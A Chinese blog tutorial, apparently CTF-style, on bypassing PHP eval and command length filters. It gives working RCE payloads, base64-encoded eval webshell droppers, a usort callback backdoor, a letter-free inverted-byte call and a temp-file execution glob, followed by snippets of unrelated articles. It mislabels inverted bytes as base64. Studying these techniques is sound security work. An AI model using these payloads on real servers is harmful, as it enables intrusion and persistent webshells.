RCE绕过技巧
目录
EVAL长度限制突破技巧
1.使用反引号
2.file_put_contents写入文件
3.php5.6+变长参数+usort回调后门
命令长度限制突破技巧
1.拼接文件名
无字母数字的webshell命令执行
1.取反码
2.上传临时文件
EVAL长度限制突破技巧

分析代码:首先传递一个param参数,通过 if 判断传递的参数长度不能超过17位,并且不能包含eval和assert,然后eval执行。
由于Linux下的反引号可以执行命令,所以使用echo `$_GET[1]`;
把代码执行转换成命令执行
1.使用反引号
param=echo `$_GET[1]`;&1=id
效果:

有人就要问,不是说是限制到了17位一下吗。
因为后面的1=id不是前面param的值,所以写多长都没关系,$_GET[1]是获取通过传递的名为 1 的参数值。
2.file_put_contents写入文件
将一句话木马进行base64编码后追加写入文件
web.php?1=file_put_contents¶m=$_GET[1](N,P,8);
web.php?1=file_put_contents¶m=$_GET[1](N,D,8);
...
web.php?1=file_put_contents¶m=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
用$_GET[1]中1接收file_put_contents,然后再file_put_contents中传三个参数
N:写入文件名
P:一句话木马的base64的编码
8:代表追加
未执行命令前的

执行后


因为像<等特殊符号,不能直接写入<,所以必须base64编码
3.php5.6+变长参数+usort回调后门
usort(...$_GET);
js中的可变长参数用...表示
?1[]=test&1[]=phpinfo();&2=assert
使用burpsuite抓包

修改GET为POST,加上usort(...$_GET);

使用的php版本最好为5.6,否则
右键->Send to Repeater

命令长度限制突破技巧

这段代码和上边一样,只是把参数长度变成不能超过8位,那么就不能使用`$_GET[1]`;了
只能执行简单的命令了


1.拼接文件名
因为Linux下可以使用>a来创建文件

用ls -t来以创建时间来列出当前目录下所有文件

将这条经过base64编码的一句话木马echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php就可以用上述方法写入webshell
无字母数字的webshell命令执行

这段代码将webshell长度不超过35位,除此之外还不允许包含字母数字,还不能包含$和_
这样就不能用上面的方法了。那怎么办
1.取反码
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式.
所以很简单了,因为不能出现字母所以就先构造一个可以生成phpinfo这个字符串的PHP表达式取反即可。如:(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90 --这个是phpinfo的base64编码
~ --取反
code=(~%8F%97%8F%96%91%99%90)();
这样就可以执行

2.上传临时文件
因为在php5版本中并不支持这种表达方式,所以我们就可以用php上传文件机制
先将本地的文件上传到服务器的临时目录 /tmp
然后在没有被删除的情况下执行起来
难点:1.匹配不到这个临时文件,因为这个文件名是随机生成的,全是英文和数字,但是代码又限制了这个。
2.没有执行权限
解决方法:1.经过多次尝试发现,上传的临时文件最后一个字母会出现大写字母。因为Linux是支持ascii,所以查看ascii发现大写字母的范围在 @-[ 之间,glob通配符 ? 匹配任意一个字符,* 匹配任意多个字符。
成功匹配到文件

2.在Linux下可以用 . [file]来执行文件

这样两个问题就都解决了
接下来就是用burpsuite抓包
先抓demo.html和web.php包


两个包repeater
如下所示,将demo.html包中的内容复制到web.php中


将GET改为POST是要接受下面的请求体

传递get参数,通过查找eval的官方文档,首先要闭合,然后再写php代码
?code=?><?=`.+/???/????????[@-[]`; ?>
成功

相关文章:
RCE绕过技巧
目录 EVAL长度限制突破技巧 1.使用反引号 2.file_put_contents写入文件 3.php5.6变长参数usort回调后门 命令长度限制突破技巧 1.拼接文件名 无字母数字的webshell命令执行 1.取反码 2.上传临时文件 EVAL长度限制突破技巧 分析代码:首先传递一个param参数&…...
Spring源码解析(31)之事务配置文件解析以及核心对象创建过程
一、前言 首先我们先准备一下spring 事务的配置文件,具体内容如下: <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/20…...
win11安装docker报错记录
报错一: Docker Desktop - Unexpected WSL error An unexpected error occurred while executing a WSL command. Either shut down WSL down with wsl --shutdown, and/or reboot your machine. You can also try reinstalling WSL and/or Docker Desktop. If t…...
【vulnhub】CLAMP 1.0.1靶机
信息收集 靶机发现 端口扫描 页面访问,并查看源码 访问 /nt4stopc/,下面有一些问题,提示必须收集答案 一些判断题,对与错对应1与0,最后结果为0110111001,拼接访问 点击图中位置,发现存在参数,p…...
GPS跟踪环路MATLAB之——数字锁相环
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 GPS跟踪环路MATLAB之——数字锁相环 前言为什么要锁相环科斯塔斯环锁相环的一些基本概念1、捕获、锁定与跟踪的概念2、捕获时间和稳态相差3、相位捕获和频率捕获4、捕获带和同…...
docker开发环境搭建-关于数据库的IP是什么
故事的背景是这样的: 我在本地的ubuntu系统上安装了docker,并创建了一个mysql容器,但是在使用DBeaver连接该数据库时,需要填写数据库的ip,填写127.0.0.1,工具提示找不到这个库,然后使用ip addr…...
loginApi
import request from "/utils/request"; import { AxiosPromise } from "axios"; import { CaptchaResult, LoginData, LoginResult } from "./types";/*** 登录API** param data {LoginData}* returns*/ export function loginApi(data: LoginD…...
【RAG检索增强生成】Ollama+AnythingLLM本地搭建RAG大模型私有知识库
目录 前言一、Ollama:革新性的本地LLM服务工具1.核心优势2.技术亮点 二、AnythingLLM 概览1.核心特性2.技术生态支持 三、搭建本地智能知识库1. Ollama的安装启航2. AnythingLLM的安装对接3. AnythingLLM的配置精调4. 工作区与文档管理5. 聊天与检索的智能交互 四、…...
【wiki知识库】08.添加用户登录功能--前端Vue部分修改
🍊 编程有易不绕弯,成长之路不孤单! 目录 🍊 编程有易不绕弯,成长之路不孤单! 一、今日目标 二、前端Vue模块的修改 2.1 the-header组件 2.2 store工具 2.3 router路由配置修改 一、今日目标 上篇文章…...
写给非机器学习人员的 embedding 入门
你好,我是 shengjk1,多年大厂经验,努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注!你会有如下收益: 了解大厂经验拥有和大厂相匹配的技术等 希望看什么,评论或者私信告诉我! 文章目录 一…...
Oracle【plsql编写九九乘法表】
九九乘法表 DECLAREi NUMBER : 1;j NUMBER : 1; BEGINFOR i IN 1 .. 9LOOPFOR j IN 1 .. iLOOPDBMS_OUTPUT.put (i || * || j || || i * j || );END LOOP;DBMS_OUTPUT.put_line ( );END LOOP; END;输出结果...
ansible安装K8s
部署Kubernetes (k8s) 集群使用Ansible是一个常见的自动化解决方案。下面我将提供一个基本的步骤概述和所需的命令,用于在CentOS 7.8上使用Ansible部署k8s集群,包括Master节点和Worker节点(Web和DB节点)。 步骤 1: 准备环境 确保所…...
restful传值
GetMapping 普通的get请求 后端: restfule的get请求 通过/asd/123这种方式get请求传入后端 前端 url: /system/role/deptTree/ roleId / tenantId, method: get后端PathVariable从path上取对应的值 通过 GetMapping(value "/deptTree/{roleId}/{tenan…...
Qt自定义TreeWidget,实现展开折叠按钮在右侧,且一条竖直线上对齐
效果如下: 图片随便找的,可能需要调下样式,代码复制可用,留给有需要的人。 #ifndef CustomTreeWidget_h__ #define CustomTreeWidget_h__#include <QTreeWidget> #include <QPushButton>class CCustomTreeWidget : p…...
硅步千里:如何入行?——之入行成为软件开发者
无论何时,你是否有遇到这样的场景(在自己从未涉足过的行业或领域,现在需要自己去这个行业或领域学习探索,最初的目标是熟悉行业,快速融入进去,很多时候,我们只是了解了个大概,并没能…...
Sandbox: rsync.samba(80134) deny(1) file-write-create
Xcode15运行报错:Sandbox: rsync.samba(80134) deny(1) file-write-create/xxx/xxx 如下图: 解决办法: Build Settings 搜索 sandbox,把 Build Options 中的 User Script Sandboxing改为 NO...
lvs的dr模式综合实践
目录 编辑虚拟机准备工作 编辑编辑编辑 配置过程 配置client主机 配置router主机 配置lvs主机(vip使用环回来创建) 配置server1主机(vip使用环回来创建) 配置server2主机(vip使用环回来创建࿰…...
什么是自然语言处理
自然语言处理(Natural Language Processing, NLP)是人工智能(AI)的一个子领域,涉及计算机与人类语言的交互。它的目标是让计算机能够理解、分析、生成和操作自然语言,从而实现与人类的有效沟通。 自然语言处…...
快速理解互联网中的常用名词
并发与并行 并发:任务交替执行,伪并行,涉及CPU时间片和上下文切换。并行:任务真正同时执行,需要多核处理器,无上下文切换。 并发量(Concurrency) 概念:服务端程序单位…...
统计接口调用耗时_黑白名单配置
黑名单配置 黑名单就是那些被禁止访问的URL创建自定义过滤器 BlackListUrlFilter,并配置黑名单地址列表blacklistUrl如果有其他需求,还可以实现自定义规则的过滤器来满足特定的过滤要求 /*** 黑名单过滤器** author canghe*/ Component public class B…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...
屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
初学 pytest 记录
安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...
AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
解决:Android studio 编译后报错\app\src\main\cpp\CMakeLists.txt‘ to exist
现象: android studio报错: [CXX1409] D:\GitLab\xxxxx\app.cxx\Debug\3f3w4y1i\arm64-v8a\android_gradle_build.json : expected buildFiles file ‘D:\GitLab\xxxxx\app\src\main\cpp\CMakeLists.txt’ to exist 解决: 不要动CMakeLists.…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
Python竞赛环境搭建全攻略
Python环境搭建竞赛技术文章大纲 竞赛背景与意义 竞赛的目的与价值Python在竞赛中的应用场景环境搭建对竞赛效率的影响 竞赛环境需求分析 常见竞赛类型(算法、数据分析、机器学习等)不同竞赛对Python版本及库的要求硬件与操作系统的兼容性问题 Pyth…...
